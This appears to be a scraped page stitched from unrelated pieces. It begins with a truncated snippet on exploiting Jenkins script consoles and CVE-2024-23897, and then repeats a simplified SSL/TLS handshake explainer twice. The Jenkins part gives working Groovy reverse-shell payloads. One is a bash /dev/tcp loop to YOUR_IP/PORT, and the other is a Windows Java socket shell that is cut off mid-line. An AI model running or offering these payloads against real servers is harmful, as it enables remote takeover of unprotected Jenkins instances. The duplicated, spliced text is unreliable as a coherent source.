Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
The setting up of a Secure SSL/TLS connection is known as the SSL handshake process. This will be performed for all the websites starts with https://.
The SSL handshake process can be explained in 6 different steps.
1. Client Web Request - Client Hello
2. Server Responds - Server Hello.
3. Client validates the Certificate
4. Client generate and encrypt the session key
5. Server decrypts the session key
6. Encrypted data exchange takes place.
1. Client Web Request - Client Hello
This is the initiation of the SSL/TLS communication. Client Sends a "Hello" message to the Server.
Basically, this Hello means, Hello, i want to set up a secure connection with you but before that let me introduce myself. I supports this version of SSL/TLS , These are the cipher Suit/protocols i support and these are the data compression methods i support.
2. Server Responds - Server Hello.
Then the Server respond to the Client with a Server Hello. So the Server telling to the Client that, Hello, i can also understand different cipher protocols, but i will select one Cipher suite that we both can understand. Also selecting a common data compression method.
Additionally, i am sharing my certificate/public key with you.
3. Client validates the Certificate
The Client validates the certificate with its CA and proceeds to the next step.
4. Client generate and encrypt the session key
By using the data learned, the client generates a secret key knows as a "Session Key" and encrypts it with the Server's Public key.
The Encrypted message (key) is then send to the Server. Only the server can decrypt the message to get the Session key.
5. Server decrypts the session key
The Server ,by using its Private key decrypts the message and gets the session key.
Server also informs the client that ,for all the future communication between us for this particular session ,we will be using this session key and the SSL handshake is completed.
6. Encrypted data exchange takes place.
The SSL handshake is now complete and the session begins.
The client and the server will now use the session key to encrypt and decrypt the data they send to each other and to validate its integrity.
The SSL handshake process can be explained in 6 different steps.
1. Client Web Request - Client Hello
2. Server Responds - Server Hello.
3. Client validates the Certificate
4. Client generate and encrypt the session key
5. Server decrypts the session key
6. Encrypted data exchange takes place.
1. Client Web Request - Client Hello
This is the initiation of the SSL/TLS communication. Client Sends a "Hello" message to the Server.
Basically, this Hello means, Hello, i want to set up a secure connection with you but before that let me introduce myself. I supports this version of SSL/TLS , These are the cipher Suit/protocols i support and these are the data compression methods i support.
2. Server Responds - Server Hello.
Then the Server respond to the Client with a Server Hello. So the Server telling to the Client that, Hello, i can also understand different cipher protocols, but i will select one Cipher suite that we both can understand. Also selecting a common data compression method.
Additionally, i am sharing my certificate/public key with you.
3. Client validates the Certificate
The Client validates the certificate with its CA and proceeds to the next step.
4. Client generate and encrypt the session key
By using the data learned, the client generates a secret key knows as a "Session Key" and encrypts it with the Server's Public key.
The Encrypted message (key) is then send to the Server. Only the server can decrypt the message to get the Session key.
5. Server decrypts the session key
The Server ,by using its Private key decrypts the message and gets the session key.
Server also informs the client that ,for all the future communication between us for this particular session ,we will be using this session key and the SSL handshake is completed.
6. Encrypted data exchange takes place.
The SSL handshake is now complete and the session begins.
The client and the server will now use the session key to encrypt and decrypt the data they send to each other and to validate its integrity.
